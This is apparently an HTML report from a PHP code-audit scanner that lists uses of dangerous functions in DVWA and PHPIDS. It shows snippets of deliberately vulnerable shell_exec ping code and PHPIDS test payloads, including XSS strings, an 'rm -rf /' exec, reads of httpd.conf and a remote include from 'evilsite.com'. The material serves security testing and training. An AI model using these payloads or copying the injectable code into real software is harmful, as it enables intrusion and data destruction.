onclick='wt.signature.toggle("php","67b3dba8bc6778101892eb77249db32e")'>Hide</a> </li> <li class='11e0eed8d3696c0a632f822df385ab3c'> <code><a href='#s-11e0eed8d3696c0a632f822df385ab3c'>database</a></code> <span class='signature_count'>(26)</span> <a class='show_hide' onclick='wt.signature.toggle("php","11e0eed8d3696c0a632f822df385ab3c")'>Hide</a> </li> </ul> <h3><a onclick='javascript:wt.signature.toggle_group(this, "hashes")'>hashes [<span class='expand_collapse'>-</span>]</a></h3> <ul class='signature_group_hashes'> <li class='7f138a09169b250e9dcb378140907378'> <code><a href='#s-7f138a09169b250e9dcb378140907378'>MD5</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","7f138a09169b250e9dcb378140907378")'>Hide</a> </li> <li class='9a9f4eb6d0036a164588b6ee74390442'> <code><a href='#s-9a9f4eb6d0036a164588b6ee74390442'>SHA1</a></code> <span class='signature_count'>(1)</span> <a class='show_hide' onclick='wt.signature.toggle("php","9a9f4eb6d0036a164588b6ee74390442")'>Hide</a> </li> </ul> </nav> <div class='column_content'> <h2>php</h2> <div class='signature_0de4ac8a3d23ab544ed323a26596e6ef signature_group_dangerous_functions signature_group'> <a name='s-0de4ac8a3d23ab544ed323a26596e6ef'></a> <h3> <code>eval(</code> <span class='signature_count'>(11)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","0de4ac8a3d23ab544ed323a26596e6ef")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./security.php</span>:<span class='line_number'>96</span> <span class='match_count'>(1/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>94- 95- <p>{$phpIdsHtml}</p> 96: [<a href=\"?test=%22><script><span class='match_highlight'>eval(</span>window.name)</script>\">Simulate attack</a>] - 97- [<a href=\"ids_log.php\">View IDS log</a>] 98- 99-</div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>113</span> <span class='match_count'>(2/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>110- 111- 112- } else { 113: echo '<a href="?test=%22><script><span class='match_highlight'>eval(</span>window.name)</script>">No attack detected - click for an example attack</a>'; 114- } 115-} catch (Exception $e) { 116- /*</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>409</span> <span class='match_count'>(3/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>406- default xml namespace=toolbar,y=1&&name 407- default xml namespace=toolbar 408- default xml namespace=e(y)'; 409: $exploits[] = '-Infinity++in <span class='match_highlight'>eval(</span>1&&name)'; 410- $exploits[] = 'new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, new Array, 411- x=(\'e\') 412- x=(\'nam\')+(new Array)+x</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>475</span> <span class='match_count'>(4/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>472- 473- $exploits = array(); 474- $exploits[] = "/*@cc_on@set@x=88@set@ss=83@set@s=83@*/@cc_on alert(String.fromCharCode(@x,@s,@ss))"; 475: $exploits[] = "@cc_on <span class='match_highlight'>eval(</span>@cc_on name)"; 476- $exploits[] = "@if(@_mc680x0)@else alert(@_jscript_version)@end"; 477- $exploits[] = "\"\"@cc_on,x=@cc_on'something'@cc_on"; 478-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>492</span> <span class='match_count'>(5/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>489- public function testXSSList() { 490- 491- $exploits = array(); 492: $exploits[] = '\'\'"--><script><span class='match_highlight'>eval(</span>String.fromCharCode(88,83,83)));%00'; 493- $exploits[] = '"></a style="xss:ex/**/pression(alert(1));"'; 494- $exploits[] = 'top.__proto__._= alert 495- _(1)';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>519</span> <span class='match_count'>(6/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>516- $exploits[] = "e=1..eval 517- e(e(\"\u200fname\"),e)"; 518- $exploits[] = "<x///style=-moz-\&#x362inding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)>"; 519: $exploits[] = "a//a'\u000a<span class='match_highlight'>eval(</span>name)"; 520: $exploits[] = "a//a';<span class='match_highlight'>eval(</span>name)"; 521- $exploits[] = "(x) setter=0?0.:alert,x=0"; 522- $exploits[] = "y=('na') + new Array +'me' 523- y</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>580</span> <span class='match_count'>(7/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>577- $exploits[] = 'a=eval,b= [ referrer ] ;a(b)'; 578- $exploits[] = "URL = ! isNaN(1) ? 'javascriptz:zalertz(1)z' [/replace/ [ 'source' ] ] 579- (/z/g, [] ) : 0"; 580: $exploits[] = "if(0){} else <span class='match_highlight'>eval(</span>new Array + ('eva') + new Array + ('l(n') + new Array + ('ame) + new Array') + new Array) 581- 'foo bar foo bar foo'"; 582: $exploits[] = "switch('foo bar foo bar foo bar') {case <span class='match_highlight'>eval(</span>new Array + ('eva') + new Array + ('l(n') + new Array + ('ame) + new Array') + new Array):}"; 583- $exploits[] = "xxx='javascr',xxx+=('ipt:eva'),xxx+=('l(n'),xxx+=('ame),y') 584- Cen:tri:fug:eBy:pas:sTe:xt:do location=(xxx) 585- while(0)</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1073</span> <span class='match_count'>(8/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1070- 1071- $exploits = array(); 1072- $exploits[] = '+alert(1)'; 1073: $exploits[] = 'ACM=1,1+<span class='match_highlight'>eval(</span>1+name+(+ACM-1),ACM)'; 1074: $exploits[] = '1+<span class='match_highlight'>eval(</span>1+name+(+1-1),-1)'; 1075- $exploits[] = 'XSS without being noticed<a/href=da&#x74&#97:text/html&#59&#x63harset=UTF-7&#44+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4->test'; 1076- 1077- $this->_testForPlainEvent($exploits);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1272</span> <span class='match_count'>(9/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1269- public function testJSONScanning() { 1270- 1271- $exploits = array(); 1272: $exploits['json_1'] = '{"a":"b","c":["><script>alert(1);</script>", 111, "<span class='match_highlight'>eval(</span>name)"]}'; 1273- $test = new IDS_Monitor( 1274- $exploits, 1275- $this->init</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php</span>:<span class='line_number'>140</span> <span class='match_count'>(10/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>137- * Evaluates an array PHP code string without array() wrapper 138- */ 139- protected function evalArray($contents) { 140: return <span class='match_highlight'>eval(</span>'return array('. $contents .');'); 141- } 142- 143- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/VarParser/Native.php</span>:<span class='line_number'>17</span> <span class='match_count'>(11/11)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- 15- protected function evalExpression($expr) { 16- $var = null; 17: $result = <span class='match_highlight'>eval(</span>"\$var = $expr;"); 18- if ($result === false) { 19- throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); 20- }</code></pre> </div> </div> </div> </div> <div class='signature_1e36507a2d0dc5e8eec1719f6ad310e5 signature_group_dangerous_functions signature_group'> <a name='s-1e36507a2d0dc5e8eec1719f6ad310e5'></a> <h3> <code>exec(</code> <span class='signature_count'>(5)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","1e36507a2d0dc5e8eec1719f6ad310e5")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/low.php</span>:<span class='line_number'>10</span> <span class='match_count'>(1/5)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>8- if (stristr(php_uname('s'), 'Windows NT')) { 9- 10: $cmd = shell_<span class='match_highlight'>exec(</span> 'ping ' . $target ); 11- $html .= '<pre>'.$cmd.'</pre>'; 12- 13- } else { 14- 15: $cmd = shell_<span class='match_highlight'>exec(</span> 'ping -c 3 ' . $target ); 16- $html .= '<pre>'.$cmd.'</pre>'; 17- 18- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/high.php</span>:<span class='line_number'>23</span> <span class='match_count'>(2/5)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- // Determine OS and execute the ping command. 21- if (stristr(php_uname('s'), 'Windows NT')) { 22- 23: $cmd = shell_<span class='match_highlight'>exec(</span> 'ping ' . $target ); 24- $html .= '<pre>'.$cmd.'</pre>'; 25- 26- } else { 27- 28: $cmd = shell_<span class='match_highlight'>exec(</span> 'ping -c 3 ' . $target ); 29- $html .= '<pre>'.$cmd.'</pre>'; 30- 31- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/medium.php</span>:<span class='line_number'>18</span> <span class='match_count'>(3/5)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>15- // Determine OS and execute the ping command. 16- if (stristr(php_uname('s'), 'Windows NT')) { 17- 18: $cmd = shell_<span class='match_highlight'>exec(</span> 'ping ' . $target ); 19- $html .= '<pre>'.$cmd.'</pre>'; 20- 21- } else { 22- 23: $cmd = shell_<span class='match_highlight'>exec(</span> 'ping -c 3 ' . $target ); 24- $html .= '<pre>'.$cmd.'</pre>'; 25- 26- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>238</span> <span class='match_count'>(4/5)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>235- $exploits[] = 'b=(navigator);c=(b.userAgent);d=c[61]+c[49]+c[6]+c[4];e=\'\'+/abcdefghijklmnopqrstuvwxyz.(1)/;f=e[12]+e[15]+e[3]+e[1]+e[20]+e[9]+e[15]+e[14]+e[27]+e[8]+e[1]+e[19]+e[8]+e[27]+e[19]+e[21]+e[2]+e[19]+e[20]+e[18]+e[9]+e[14]+e[7]+e[28]+e[29]+e[30];0[\'\'+[d]](0[\'\'+(d)](f));'; 236- $exploits[] = "c4=1==1&&'(1)';c3=1==1&&'aler';c2=1==1&&':';c1=1==1&&'javascript';a=c1+c2+c3+'t'+c4;(URL=a);"; 237- $exploits[] = "x=''+/abcdefghijklmnopqrstuvwxyz.(1)/;e=x[5];v=x[22];a=x[1];l=x[12];o=x[15];c=x[3];t=x[20];i=x[9];n=x[14];h=x[8];s=x[19];u=x[21];b=x[2];r=x[18];g=x[7];dot=x[27];uno=x[29];op=x[28];cp=x[30];z=e+v+a+l;y=l+o+c+a+t+i+o+n+dot+h+a+s+h+dot+s+u+b+s+t+r+i+n+g+op+uno+cp;0[''+[z]](0[''+(z)](y));"; 238: $exploits[] = "d=''+/eval~locat~ion.h~ash.su~bstring(1)/;e=/.(x?.*)~(x?.*)~(x?.*)~(x?.*)~(x?.*)./;f=e.<span class='match_highlight'>exec(</span>d);g=f[2];h=f[3];i=f[4];j=f[5];k=g+h+i+j;0[''+(f[1])](0[''+(f[1])](k));"; 239- $exploits[] = "a=1!=1?/x/:'eva';b=1!=1?/x/:'l';a=a+b;e=1!=1?/x/:'h';b=1!=1?/x/:'locatio';c=1!=1?/x/:'n';d=1!=1?/x/:'.has';h=1!=1?/x/:'1)';g=1!=1?/x/:'ring(0';f=1!=1?/x/:'.subst';b=b+c+d+e+f+g+h;B=00[''+[a]](b);00[''+[a]](B);"; 240- $exploits[] = "(z=String)&&(z=z() );{a=(1!=1)?a:'eva'+z}{a+=(1!=1)?a:'l'+z}{b=(1!=1)?b:'locatio'+z}{b+=(1!=1)?b:'n.has'+z}{b+=(1!=1)?b:'h.subst'+z}{b+=(1!=1)?b:'r(1)'+z}{c=(1!=1)?c:(0)[a]}{d=c(b)}{c(d)}"; 241- $exploits[] = "{z=(1==4)?here:{z:(1!=5)?'':be}}{y=(9==2)?dragons:{y:'l'+z.z}}{x=(6==5)?3:{x:'a'+y.y}}{w=(5==8)?9:{w:'ev'+x.x}}{v=(7==9)?3:{v:'tr(2)'+z.z}}{u=(3==8)?4:{u:'sh.subs'+v.v}}{t=(6==2)?6:{t:y.y+'ocation.ha'+u.u}}{s=(4==3)?3:{s:(8!=3)?(2)[w.w]:z}}{r=s.s(t.t)}{s.s(r)+z.z}";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1012</span> <span class='match_count'>(5/5)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1009- $exploits = array(); 1010- $exploits[] = ';phpinfo()'; 1011- $exploits[] = '@phpinfo()'; 1012: $exploits[] = '"; <?php <span class='match_highlight'>exec(</span>"rm -rf /"); ?>'; 1013- $exploits[] = '; file_get_contents(\'/usr/local/apache2/conf/httpd.conf\');'; 1014- $exploits[] = ';echo file_get_contents(implode(DIRECTORY_SEPARATOR, array("usr","local","apache2","conf","httpd.conf"))'; 1015- $exploits[] = '; include "http://evilsite.com/evilcode"';</code></pre> </div> </div> </div> </div> <div class='signature_f2de5b1efd0fc050395cfe7d5bfc53cd signature_group_dangerous_functions signature_group'> <a name='s-f2de5b1efd0fc050395cfe7d5bfc53cd'></a> <h3> <code>fclose(</code> <span class='signature_count'>(7)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","f2de5b1efd0fc050395cfe7d5bfc53cd")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Memcached.php</span>:<span class='line_number'>154</span> <span class='match_count'>(1/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>152- if (!file_exists($this->path)) { 153- $handle = fopen($this->path, 'w'); 154: <span class='match_highlight'>fclose(</span>$handle); 155- } 156- 157- if (!is_writable($this->path)) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/File.php</span>:<span class='line_number'>149</span> <span class='match_count'>(2/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>146- } 147- 148- fwrite($handle, serialize($data)); 149: <span class='match_highlight'>fclose(</span>$handle); 150- } 151- 152- return $this;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php</span>:<span class='line_number'>41</span> <span class='match_count'>(3/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>38- $fh = fopen($file, 'r'); 39- if (!$fh) return false; 40- $ret = $this->parseHandle($fh); 41: <span class='match_highlight'>fclose(</span>$fh); 42- return $ret; 43- } 44-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/StringHashParser.php</span>:<span class='line_number'>56</span> <span class='match_count'>(4/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>53- while (!feof($fh)) { 54- $ret[] = $this->parseHandle($fh); 55- } 56: <span class='match_highlight'>fclose(</span>$fh); 57- return $ret; 58- } 59-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>197</span> <span class='match_count'>(5/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>194- 195- $handle = fopen($this->logfile, 'a'); 196- fwrite($handle, trim($data) . "\n"); 197: <span class='match_highlight'>fclose(</span>$handle); 198- 199- } else { 200- throw new Exception(</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>244</span> <span class='match_count'>(6/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>241- if (!file_exists($file)) { 242- $handle = fopen($file, 'w'); 243- fwrite($handle, time()); 244: <span class='match_highlight'>fclose(</span>$handle); 245- 246- return false; 247- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>47</span> <span class='match_count'>(7/7)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>44-function dvwaClearIdsLog() { 45- if (isset($_GET['clear_log'])) { 46- $fp = fopen(DVWA_WEB_PAGE_TO_PHPIDS_LOG, w); 47: <span class='match_highlight'>fclose(</span>$fp); 48- dvwaMessagePush( "PHPIDS log cleared" ); 49- dvwaPageReload(); 50- }</code></pre> </div> </div> </div> </div> <div class='signature_44b1b75c399c7a12f035c43a5e347d2c signature_group_dangerous_functions signature_group'> <a name='s-44b1b75c399c7a12f035c43a5e347d2c'></a> <h3> <code>file(</code> <span class='signature_count'>(9)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","44b1b75c399c7a12f035c43a5e347d2c")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/low.php</span>:<span class='line_number'>7</span> <span class='match_count'>(1/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- $target_path = $target_path . basename( $_FILES['uploaded']['name']); 6- 7: if(!move_uploaded_<span class='match_highlight'>file(</span>$_FILES['uploaded']['tmp_name'], $target_path)) { 8- 9- $html .= '<pre>'; 10- $html .= 'Your image was not uploaded.';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/high.php</span>:<span class='line_number'>13</span> <span class='match_count'>(2/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ 11- 12- 13: if(!move_uploaded_<span class='match_highlight'>file(</span>$_FILES['uploaded']['tmp_name'], $target_path)) { 14- 15- $html .= '<pre>'; 16- $html .= 'Your image was not uploaded.';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/medium.php</span>:<span class='line_number'>13</span> <span class='match_count'>(3/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>10- if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){ 11- 12- 13: if(!move_uploaded_<span class='match_highlight'>file(</span>$_FILES['uploaded']['tmp_name'], $target_path)) { 14- 15- $html .= '<pre>'; 16- $html .= 'Your image was not uploaded.';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>206</span> <span class='match_count'>(4/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>203- if (!$filters) { 204- if (file_exists($this->source)) { 205- if (LIBXML_VERSION >= 20621) { 206: $filters = simplexml_load_<span class='match_highlight'>file(</span>$this->source, 207- null, 208- LIBXML_COMPACT); 209- } else { 210: $filters = simplexml_load_<span class='match_highlight'>file(</span>$this->source); 211- } 212- } 213- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php</span>:<span class='line_number'>21</span> <span class='match_count'>(5/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- $interchange = new HTMLPurifier_ConfigSchema_Interchange(); 19- 20- if (!$dir) $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema/'; 21: $info = parse_ini_<span class='match_highlight'>file(</span>$dir . 'info.ini'); 22- $interchange->name = $info['name']; 23- 24- $files = array();</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Config.php</span>:<span class='line_number'>459</span> <span class='match_count'>(6/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>456- */ 457- public function loadIni($filename) { 458- if ($this->isFinalized('Cannot load directives after finalization')) return; 459: $array = parse_ini_<span class='match_highlight'>file(</span>$filename, true); 460- $this->loadArray($array); 461- } 462-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>221</span> <span class='match_count'>(7/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>218- $numPrefixChars = strlen($this->file_prefix); 219- $files = scandir($dir); 220- foreach ($files as $file) { 221: if (is_<span class='match_highlight'>file(</span>$dir . $file)) { 222- if (substr($file, 0, $numPrefixChars) == $this->file_prefix) { 223- $lastModified = filemtime($dir . $file); 224-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Init.php</span>:<span class='line_number'>92</span> <span class='match_count'>(8/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>89- 90- if ($configPath) { 91- $this->setConfigPath($configPath); 92: $this->config = parse_ini_<span class='match_highlight'>file(</span>$this->configPath, true); 93- } 94- } 95-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>23</span> <span class='match_count'>(9/9)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20-// PHPIDS Log parsing function 21-function dvwaReadIdsLog() { 22- 23: $file_array = <span class='match_highlight'>file(</span>DVWA_WEB_PAGE_TO_PHPIDS_LOG); 24- 25- $data = ''; 26-</code></pre> </div> </div> </div> </div> <div class='signature_7bc55520eb98a73970ba7ba517846ffd signature_group_dangerous_functions signature_group'> <a name='s-7bc55520eb98a73970ba7ba517846ffd'></a> <h3> <code>file_get_contents(</code> <span class='signature_count'>(12)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","7bc55520eb98a73970ba7ba517846ffd")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./instructions.php</span>:<span class='line_number'>25</span> <span class='match_count'>(1/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>23-$readFile = $docs[ $selectedDocId ][ 'file' ]; 24- 25:$instructions = <span class='match_highlight'>file_get_contents(</span> DVWA_WEB_PAGE_TO_ROOT.$readFile ); 26- 27-function urlReplace( $matches ) { 28- return dvwaExternalLinkUrlGet( $matches[1] );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_source.php</span>:<span class='line_number'>44</span> <span class='match_count'>(2/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>41-} 42- 43- 44:$source = @<span class='match_highlight'>file_get_contents(</span> DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/source/{$security}.php" ); 45-$source = str_replace( array( '$html .=' ), array( 'echo' ), $source ); 46- 47-$page[ 'body' ] .= "</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/view_help.php</span>:<span class='line_number'>14</span> <span class='match_count'>(3/12)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11-$id = $_GET[ 'id' ]; 12-$security = $_GET[ 'security' ]; 13- 14:$help = <span class='match_highlight'>file_get_contents(</span> 